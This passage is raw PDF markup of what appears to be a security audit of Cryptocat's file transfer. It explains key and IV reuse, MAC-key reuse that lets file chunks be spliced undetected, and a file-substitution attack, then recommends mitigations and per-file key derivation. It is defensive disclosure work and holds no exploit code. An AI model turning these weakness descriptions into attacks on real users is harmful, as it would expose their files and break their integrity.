BT 1 0 0 1 0 14 Tm .133145 Tw 12 TL /F1 10 Tf 0 0 0 rg (Here ) Tj /F4 10 Tf (F ) Tj /F1 10 Tf (is the block cipher, and ) Tj /F4 10 Tf (j ) Tj /F1 10 Tf (is the block number. The first ) Tj /F4 10 Tf (counter[0] ) Tj /F1 10 Tf (is derived directly from the) Tj T* 0 Tw /F3 10 Tf (IV ) Tj /F1 10 Tf (and subsequent ) Tj /F4 10 Tf (counter[j+1] ) Tj /F1 10 Tf (values are derived directly from previous ) Tj /F4 10 Tf (counter[j] ) Tj /F1 10 Tf (values.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 549.8236 cm
q
BT 1 0 0 1 0 26 Tm .157356 Tw 12 TL /F1 10 Tf 0 0 0 rg (If the same counter and key values are ever used on different plaintexts over the entire lifetime of the key,) Tj T* 0 Tw 2.327045 Tw (then the ) Tj /F3 10 Tf (XOR ) Tj /F1 10 Tf (of the associated plaintexts can be recovered. Suppose ) Tj /F4 10 Tf (A ) Tj /F1 10 Tf (and ) Tj /F4 10 Tf (B ) Tj /F1 10 Tf (are two blocks of) Tj T* 0 Tw (plaintext, and ) Tj /F4 10 Tf (A' ) Tj /F1 10 Tf (and ) Tj /F4 10 Tf (B' ) Tj /F1 10 Tf (are the associated ciphertexts, then:) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 468.6236 cm
q
q
1 0 0 1 0 0 cm
q
1 0 0 1 6.6 6.6 cm
q
.662745 .662745 .662745 RG
.5 w
.960784 .960784 .862745 rg
n -6 -6 468.6898 72 re B*
Q
q
0 0 0 rg
BT 1 0 0 1 0 50 Tm /F4 10 Tf 12 TL (A' ^ B') Tj T* (= \( F\(key, C\) ^ A \) ^ \( F\(key, C\) ^ B \)) Tj T* (= \( F\(key, C\) ^ F\(key, C\) \) ^ \( A ^ B \)) Tj T* (= 0 ^ \( A ^ B \)) Tj T* (= A ^ B) Tj T* ET
Q
Q
Q
Q
Q
q
1 0 0 1 62.69291 448.6236 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (This reduces the security to that of a ") Tj 0 0 .501961 rg (running-key cipher) Tj 0 0 0 rg (", which is easily broken.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 448.6236 cm
Q
endstream
endobj
% 'R183': class PDFStream
183 0 obj
% page stream
<< /Length 6573 >>
stream
1 0 0 1 0 0 cm BT /F1 12 Tf 14.4 TL ET
q
1 0 0 1 62.69291 747.0236 cm
q
BT 1 0 0 1 0 3 Tm 18 TL /F2 15 Tf 0 0 0 rg (Issue B. Integrity Key and IV Reuse in File Transfer) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 729.0236 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F2 10 Tf 0 0 0 rg (Reported: ) Tj /F1 10 Tf (2013-11-06) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 699.0236 cm
q
BT 1 0 0 1 0 14 Tm 2.092651 Tw 12 TL /F2 10 Tf 0 0 0 rg (Synopsis: ) Tj /F1 10 Tf (Re-use of the ) Tj /F3 10 Tf (MAC ) Tj /F1 10 Tf (key potentially allows files to be modified during file transfer, without) Tj T* 0 Tw (detection by the receiving client.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 645.0236 cm
q
BT 1 0 0 1 0 38 Tm 1.722339 Tw 12 TL /F2 10 Tf 0 0 0 rg (Impact: ) Tj /F1 10 Tf (When keys are reused due to the vulnerability described in Issue A, it is possible to "splice") Tj T* 0 Tw 1.763555 Tw (ciphertext chunks between transfers of files with the same number of chunks, without invalidating the) Tj T* 0 Tw .754431 Tw /F3 10 Tf (MAC ) Tj /F1 10 Tf (tag. This gives an active attacker a limited ability to manipulate the contents of files in flight, under) Tj T* 0 Tw (certain conditions.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 615.0236 cm
q
BT 1 0 0 1 0 14 Tm 1.129984 Tw 12 TL /F2 10 Tf 0 0 0 rg (Attack Resources: ) Tj /F1 10 Tf (This is an active attack requiring modification of ) Tj /F3 10 Tf (HTTP ) Tj /F1 10 Tf (requests \(or the ) Tj /F3 10 Tf (BOSH ) Tj /F1 10 Tf (and) Tj T* 0 Tw /F3 10 Tf (XMPP ) Tj /F1 10 Tf (protocol traffic embedded in those ) Tj /F3 10 Tf (HTTP ) Tj /F1 10 Tf (requests\).) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 585.0236 cm
q
BT 1 0 0 1 0 14 Tm 1.127485 Tw 12 TL /F2 10 Tf 0 0 0 rg (Feasibility: ) Tj /F1 10 Tf (This loss of integrity occurs when more than one file is transferred through the file transfer) Tj T* 0 Tw (feature during a single ) Tj /F3 10 Tf (Diffie-Hellman ) Tj /F1 10 Tf (session, and the files have the same number of 64511-byte chunks.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 567.0236 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL (A compromise is feasible through several vectors:) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 561.0236 cm
Q
q
1 0 0 1 62.69291 561.0236 cm
Q
q
1 0 0 1 62.69291 537.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 9 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 14 Tm /F1 10 Tf 12 TL 1.759213 Tw (A server compromise \(including malicious insiders\) could allow modification or live update of the) Tj T* 0 Tw (server code.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 531.0236 cm
Q
q
1 0 0 1 62.69291 507.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 9 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 14 Tm 1.24229 Tw 12 TL /F1 10 Tf 0 0 0 rg (Where ) Tj /F3 10 Tf (TLS ) Tj /F1 10 Tf (is deployed \(including the production ) Tj /F3 10 Tf (crypto.cat ) Tj /F1 10 Tf (service\), an active ) Tj /F3 10 Tf (TLS ) Tj /F1 10 Tf (attack against) Tj T* 0 Tw /F3 10 Tf (TLS ) Tj /F1 10 Tf (protected servers could be used to leverage this attack.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 501.0236 cm
Q
q
1 0 0 1 62.69291 489.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (Where ) Tj /F3 10 Tf (TLS ) Tj /F1 10 Tf (is ) Tj /F3 10 Tf (not ) Tj /F1 10 Tf (used, this attack is feasible at an unknown number of routers on the Internet.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 489.0236 cm
Q
q
1 0 0 1 62.69291 447.0236 cm
q
BT 1 0 0 1 0 26 Tm 1.249983 Tw 12 TL /F2 10 Tf 0 0 0 rg (Verification: ) Tj /F1 10 Tf (We verified this issue by source code inspection. The experiments performed for Issue A) Tj T* 0 Tw 1.645318 Tw (also support the conclusion that ) Tj /F3 10 Tf (MAC ) Tj /F1 10 Tf (keys are reused between file transfers, provided that there has) Tj T* 0 Tw (been no key rollover.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 417.0236 cm
q
BT 1 0 0 1 0 14 Tm .461984 Tw 12 TL /F2 10 Tf 0 0 0 rg (Implementation Analysis:) Tj /F1 10 Tf ( ) Tj /F3 10 Tf (HMAC ) Tj /F1 10 Tf (with ) Tj /F3 10 Tf (SHA-256 ) Tj /F1 10 Tf (is used to protect the integrity of the file contents. Each) Tj T* 0 Tw (chunk of the file is transmitted with a ) Tj /F3 10 Tf (MAC ) Tj /F1 10 Tf (computed on the following fields:) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 359.8236 cm
q
q
1 0 0 1 0 0 cm
q
1 0 0 1 6.6 6.6 cm
q
.662745 .662745 .662745 RG
.5 w
.960784 .960784 .862745 rg
n -6 -6 468.6898 48 re B*
Q
q
0 0 0 rg
BT 1 0 0 1 0 26 Tm /F4 10 Tf 12 TL (the chunk number \(rcvFile[from][sid].ctr\)) Tj T* (the total number of chunks \(rcvFile[from][sid].total\)) Tj T* (the chunk contents) Tj T* ET
Q
Q
Q
Q
Q
q
1 0 0 1 62.69291 291.8236 cm
q
BT 1 0 0 1 0 50 Tm 1.289988 Tw 12 TL /F1 10 Tf 0 0 0 rg (Due to the key reuse vulnerability described in Issue A, it is possible for two files to be sent using the) Tj T* 0 Tw 1.745984 Tw (same ) Tj /F3 10 Tf (MAC ) Tj /F1 10 Tf (key \(the encryption and ) Tj /F3 10 Tf (MAC ) Tj /F1 10 Tf (keys are both derived from the ) Tj /F4 10 Tf (extra_symkey ) Tj /F1 10 Tf (created in) Tj T* 0 Tw .374692 Tw /F3 10 Tf (Diffie-Hellman ) Tj /F1 10 Tf (session initialization\). When this happens, a ) Tj /F3 10 Tf (MAC ) Tj /F1 10 Tf (tag that is valid for a given chunk of one) Tj T* 0 Tw .566179 Tw (file, will also be valid for the same chunk of the other file, provided that the total number of chunks is the) Tj T* 0 Tw (same.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 273.8236 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL (This allows chunks to be "spliced" between the files, violating the expected integrity guarantees.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 231.8236 cm
q
BT 1 0 0 1 0 26 Tm 2.497318 Tw 12 TL /F1 10 Tf 0 0 0 rg (The requirement that the files have the same number of chunks cannot be considered unlikely; for) Tj T* 0 Tw 1.123145 Tw (example, it is common for files to have length <) Tj (= 64511 bytes, and files that are revisions of the same) Tj T* 0 Tw (document are also likely to be similar in length.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 213.8236 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (The same comments on ) Tj /F3 10 Tf (DHSession ) Tj /F1 10 Tf (rotation as for Issue A apply to this issue.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 213.8236 cm
Q
endstream
endobj
% 'R184': class PDFStream
184 0 obj
% page stream
<< /Length 7900 >>
stream
1 0 0 1 0 0 cm BT /F1 12 Tf 14.4 TL ET
q
1 0 0 1 62.69291 747.0236 cm
q
BT 1 0 0 1 0 3 Tm 18 TL /F2 15 Tf 0 0 0 rg (Mitigation for Issues A and B) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 729.0236 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F2 10 Tf 0 0 0 rg (Reported: ) Tj /F1 10 Tf (2013-11-06) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 711.0236 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F2 10 Tf 0 0 0 rg (Live Mitigation: ) Tj /F1 10 Tf (We recommend these immediate mitigations to protect existing live users:) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 705.0236 cm
Q
q
1 0 0 1 62.69291 705.0236 cm
Q
q
1 0 0 1 62.69291 681.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 9 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 14 Tm 1.566235 Tw 12 TL /F1 10 Tf 0 0 0 rg (Notify users that file transfer may lose confidentiality and integrity, and that users with a low risk) Tj T* 0 Tw (tolerance should not transfer files using ) Tj /F3 10 Tf (Cryptocat) Tj /F1 10 Tf (.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 675.0236 cm
Q
q
1 0 0 1 62.69291 639.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 21 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 26 Tm 2.08748 Tw 12 TL /F1 10 Tf 0 0 0 rg (Simultaneously, distribute a new stable release of ) Tj /F3 10 Tf (Cryptocat) Tj /F1 10 Tf (, with version number 2.1.16, which) Tj T* 0 Tw 1.333318 Tw (disables the file transfer feature \(both send and receive\), and has no other changes compared to) Tj T* 0 Tw (2.1.15.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 639.0236 cm
Q
q
1 0 0 1 62.69291 609.0236 cm
q
0 0 0 rg
BT 1 0 0 1 0 14 Tm /F1 10 Tf 12 TL 1.943318 Tw (We recommend doing these steps right away instead of hurrying to publish an improved file transfer) Tj T* 0 Tw (feature, because:) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 603.0236 cm
Q
q
1 0 0 1 62.69291 483.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
BT 1 0 0 1 0 2 Tm T* ET
q
1 0 0 1 20 114 cm
Q
q
1 0 0 1 20 114 cm
Q
q
1 0 0 1 20 102 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL (It protects users, although admittedly it also inconveniences them.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 20 96 cm
Q
q
1 0 0 1 20 60 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 21 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 26 Tm /F1 10 Tf 12 TL 1.626905 Tw (It delays publishing details that attackers could use to exploit users. This potentially protects) Tj T* 0 Tw .454985 Tw (users more than if we simultaneously inform attackers of how to exploit users of the old version) Tj T* 0 Tw (at the same moment as announcing to users that they should stop relying on the old version.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 20 54 cm
Q
q
1 0 0 1 20 42 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL (Any other mitigation deserves careful analysis before implementation and deployment.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 20 36 cm
Q
q
1 0 0 1 20 0 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 21 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 26 Tm /F1 10 Tf 12 TL 2.859983 Tw (Future design and mitigation changes may benefit from other findings in this audit. If we) Tj T* 0 Tw .790814 Tw (immediately patch one problem, only to later discover another vulnerability with an unexpected) Tj T* 0 Tw (relationship to the patch, that effort may be thwarted.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 20 0 cm
Q
q
Q
Q
q
1 0 0 1 62.69291 483.0236 cm
Q
q
1 0 0 1 62.69291 453.0236 cm
q
BT 1 0 0 1 0 3 Tm 18 TL /F2 15 Tf 0 0 0 rg (Remediation for Issues A and B) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 435.0236 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F2 10 Tf 0 0 0 rg (Reported: ) Tj /F1 10 Tf (2014-01-26) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 405.0236 cm
q
BT 1 0 0 1 0 14 Tm 5.484524 Tw 12 TL /F2 10 Tf 0 0 0 rg (Design and Implementation Mitigation: ) Tj /F1 10 Tf (We recommend that after the ) Tj /F3 10 Tf (Live Mitigation ) Tj /F1 10 Tf (steps) Tj T* 0 Tw (recommended above, the ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (team perform the following steps:) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 399.0236 cm
Q
q
1 0 0 1 62.69291 399.0236 cm
Q
q
1 0 0 1 62.69291 387.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (Update the file transfer feature to be secure, for a future release of ) Tj /F3 10 Tf (Cryptocat) Tj /F1 10 Tf (.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 381.0236 cm
Q
q
1 0 0 1 62.69291 345.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 21 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 26 Tm /F1 10 Tf 12 TL .37498 Tw (Simultaneously with committing this patch to a publicly-readable source code repository \(i.e. github\),) Tj T* 0 Tw 1.963984 Tw (publish a document \(e.g. blog post\) describing the details of the vulnerability and how the fixed) Tj T* 0 Tw (version avoids it.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 345.0236 cm
Q
q
1 0 0 1 62.69291 327.0236 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL (We are willing to help design a future file transfer protocol, if desired.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 300.0236 cm
q
BT 1 0 0 1 0 2.5 Tm 15 TL /F5 12.5 Tf 0 0 0 rg (Versioning) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 222.0236 cm
q
BT 1 0 0 1 0 62 Tm 2.59528 Tw 12 TL /F1 10 Tf 0 0 0 rg (One valuable feature of a new file transfer protocol would be ) Tj /F3 10 Tf (versioning) Tj /F1 10 Tf (. Ideally, if one of the two) Tj T* 0 Tw .104987 Tw (endpoints is running code with the new file transfer protocol and the other is running code with file transfer) Tj T* 0 Tw 1.947633 Tw (disabled \(e.g. version 2.1.18\) or with the old file transfer protocol \(version ) Tj /F6 10 Tf 12 TL (\243) Tj /F1 10 Tf 12 TL ( 2.1.15\), users will get a) Tj T* 0 Tw .951235 Tw (graceful failure \227such as the file-transfer option being disabled in the UI along with an explanation that) Tj T* 0 Tw .621988 Tw (the other peer is using too old of a version\227 instead of an ungraceful failure such as silent failure, or an) Tj T* 0 Tw (error message that could frighten or confuse a user.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 168.0236 cm
q
BT 1 0 0 1 0 38 Tm .342927 Tw 12 TL /F1 10 Tf 0 0 0 rg (Similarly, it would protect users of older ) Tj /F3 10 Tf (Cryptocats ) Tj /F1 10 Tf (if their ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (client would not ) Tj /F3 10 Tf (attempt ) Tj /F1 10 Tf (to send files) Tj T* 0 Tw 2.464104 Tw (to a newer ) Tj /F3 10 Tf (Cryptocat) Tj /F1 10 Tf (, because doing so could expose the contents of their files even if the newer) Tj T* 0 Tw .569985 Tw /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (will not accept the transfer, so the new protocol could be designed to prevent older ) Tj /F3 10 Tf (Cryptocats) Tj T* 0 Tw /F1 10 Tf (from attempting to send to it.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 138.0236 cm
q
0 0 0 rg
BT 1 0 0 1 0 14 Tm /F1 10 Tf 12 TL .076098 Tw (We do not currently have a specific protocol in mind to accomplish such versioning, but would be willing to) Tj T* 0 Tw (help try to design one.) Tj T* ET
Q
Q
endstream
endobj
% 'R185': class PDFStream
185 0 obj
% page stream
<< /Length 4230 >>
stream
1 0 0 1 0 0 cm BT /F1 12 Tf 14.4 TL ET
q
1 0 0 1 62.69291 750.0236 cm
q
BT 1 0 0 1 0 2.5 Tm 15 TL /F5 12.5 Tf 0 0 0 rg (Generate per-file keys) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 708.0236 cm
q
BT 1 0 0 1 0 26 Tm 2.280651 Tw 12 TL /F1 10 Tf 0 0 0 rg (The ) Tj /F3 10 Tf (OTR ) Tj /F1 10 Tf (protocol provides a secure shared symmetric key \(called the \223extra symmetric key\224 in the) Tj T* 0 Tw .143988 Tw /F4 10 Tf (otr.js ) Tj /F1 10 Tf (source code\), but if ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (is going to send ) Tj /F3 10 Tf (multiple ) Tj /F1 10 Tf (files, it can't just use that key, but needs a) Tj T* 0 Tw (unique key or ) Tj /F3 10 Tf (IV ) Tj /F1 10 Tf (for each file.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 678.0236 cm
q
BT 1 0 0 1 0 14 Tm .189461 Tw 12 TL /F1 10 Tf 0 0 0 rg (One way to accomplish that would be to use a Key Derivation Function \() Tj /F3 10 Tf (KDF) Tj /F1 10 Tf (\). A ) Tj /F3 10 Tf (KDF ) Tj /F1 10 Tf (\(e.g. ) Tj 0 0 .501961 rg (HKDF) Tj 0 0 0 rg (\) can be) Tj T* 0 Tw (used as a function that takes two arguments\227secret key and diversifier\227and returns a new secret key.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 624.0236 cm
q
BT 1 0 0 1 0 38 Tm .482485 Tw 12 TL /F3 10 Tf 0 0 0 rg (Cryptocat ) Tj /F1 10 Tf (could use the "file identifier" \(typically called the "filename" in the source code and protocol\) as) Tj T* 0 Tw .451567 Tw (the diversifier. So, let current encryption key \227the one stored at index 0 in the ) Tj /F4 10 Tf (key ) Tj /F1 10 Tf (object in the ) Tj /F4 10 Tf (files) Tj T* 0 Tw 1.179983 Tw /F1 10 Tf (hashtable in ) Tj /F4 10 Tf (fileTransfer.js) Tj /F1 10 Tf (\227 be called the "master encryption key", and let the current ) Tj /F3 10 Tf (MAC ) Tj /F1 10 Tf (key) Tj T* 0 Tw (\227the one stored at index 1 in the ) Tj /F4 10 Tf (key ) Tj /F1 10 Tf (object\227 be called the "master ) Tj /F3 10 Tf (MAC ) Tj /F1 10 Tf (key". Then:) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 578.8236 cm
q
q
1 0 0 1 0 0 cm
q
1 0 0 1 6.6 6.6 cm
q
.662745 .662745 .662745 RG
.5 w
.960784 .960784 .862745 rg
n -6 -6 468.6898 36 re B*
Q
q
0 0 0 rg
BT 1 0 0 1 0 14 Tm /F4 10 Tf 12 TL (file Enc key = KDF\(key=master Enc key, diversifier=file identifier\)) Tj T* (file MAC key = KDF\(key=master MAC key, diversifier=file identifier\)) Tj T* ET
Q
Q
Q
Q
Q
q
1 0 0 1 62.69291 546.8236 cm
q
BT 1 0 0 1 0 14 Tm .274692 Tw 12 TL /F1 10 Tf 0 0 0 rg (Then, the rest of the ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (v2.1.15 file transfer protocol could be used as-is, but using the file-specific) Tj T* 0 Tw (Enc and ) Tj /F3 10 Tf (MAC ) Tj /F1 10 Tf (keys instead of the master Enc and ) Tj /F3 10 Tf (MAC ) Tj /F1 10 Tf (keys for encryption and ) Tj /F3 10 Tf (MAC ) Tj /F1 10 Tf (respectively.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 480.8236 cm
q
BT 1 0 0 1 0 50 Tm 1.70832 Tw 12 TL /F1 10 Tf 0 0 0 rg (For this approach to be secure, the diversifier does not need to be confidential, but does need to be) Tj T* 0 Tw 1.157633 Tw (unique within the scope of a given master key. The file identifiers in the ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (v2.1.15 protocol are) Tj T* 0 Tw .222485 Tw (random 128-bit values, so they can be relied on to have this uniqueness property. \(The master encryption) Tj T* 0 Tw .56832 Tw (key and master ) Tj /F3 10 Tf (MAC ) Tj /F1 10 Tf (key, of course, need to be confidential, just as in the ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (v2.1.15 file transfer) Tj T* 0 Tw (protocol.\)) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 453.8236 cm
q
BT 1 0 0 1 0 2.5 Tm 15 TL /F5 12.5 Tf 0 0 0 rg (New standard file transfer protocol) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 399.8236 cm
q
BT 1 0 0 1 0 38 Tm 2.13881 Tw 12 TL /F1 10 Tf 0 0 0 rg (A longer term strategy is to promote and adopt a file transfer standard in the wider secure protocol) Tj T* 0 Tw .376412 Tw (community. We recognize that the ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (team has already solicited feedback from this community on) Tj T* 0 Tw 1.16061 Tw (the ) Tj /F3 10 Tf (OTR ) Tj /F1 10 Tf (development list, and we hope to advocate for more review and collaboration on this protocol) Tj T* 0 Tw (feature.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 399.8236 cm
Q
endstream
endobj
% 'R186': class PDFStream
186 0 obj
% page stream
<< /Length 8049 >>
stream
1 0 0 1 0 0 cm BT /F1 12 Tf 14.4 TL ET
q
1 0 0 1 62.69291 729.0236 cm
q
BT 1 0 0 1 0 21 Tm 18 TL /F2 15 Tf 0 0 0 rg (Issue C. Substitution of File Contents By Hijacking Entry in User) Tj T* (Interface) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 711.0236 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F2 10 Tf 0 0 0 rg (Reported: ) Tj /F1 10 Tf (2014-01-26) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 681.0236 cm
q
BT 1 0 0 1 0 14 Tm .370651 Tw 12 TL /F2 10 Tf 0 0 0 rg (Synopsis: ) Tj /F1 10 Tf (The file transfer feature uses a sender-supplied identifier to index into the receiver's display of) Tj T* 0 Tw (received files.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 651.0236 cm
q
BT 1 0 0 1 0 14 Tm 1.33881 Tw 12 TL /F2 10 Tf 0 0 0 rg (Impact: ) Tj /F1 10 Tf (The attack targets a file transfer from a "victim sender" to a "victim receiver". An attacker can) Tj T* 0 Tw (replace that file with another file when the victim receiver tries to download it.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 597.0236 cm
q
BT 1 0 0 1 0 38 Tm 1.169983 Tw 12 TL /F2 10 Tf 0 0 0 rg (Attack Resources: ) Tj /F1 10 Tf (In order to succeed with high probability, this attack requires passive monitoring of) Tj T* 0 Tw .74561 Tw /F3 10 Tf (HTTP ) Tj /F1 10 Tf (requests \(or the ) Tj /F3 10 Tf (BOSH ) Tj /F1 10 Tf (and ) Tj /F3 10 Tf (XMPP ) Tj /F1 10 Tf (protocol traffic embedded in those ) Tj /F3 10 Tf (HTTP ) Tj /F1 10 Tf (requests\), in order to) Tj T* 0 Tw .431163 Tw (find the ) Tj /F4 10 Tf (sid ) Tj /F1 10 Tf (of the targeted file transfer. The attacker, acting as another client in the same conversation,) Tj T* 0 Tw (must also send their replacement file to the victim receiver.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 579.0236 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F2 10 Tf 0 0 0 rg (Feasibility: ) Tj /F1 10 Tf (Passive monitoring of the ) Tj /F3 10 Tf (XMPP ) Tj /F1 10 Tf (protocol traffic is feasible through several vectors:) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 573.0236 cm
Q
q
1 0 0 1 62.69291 573.0236 cm
Q
q
1 0 0 1 62.69291 561.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL (A server compromise \(including malicious insiders\) could allow live traffic sniffing,) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 555.0236 cm
Q
q
1 0 0 1 62.69291 531.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 9 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
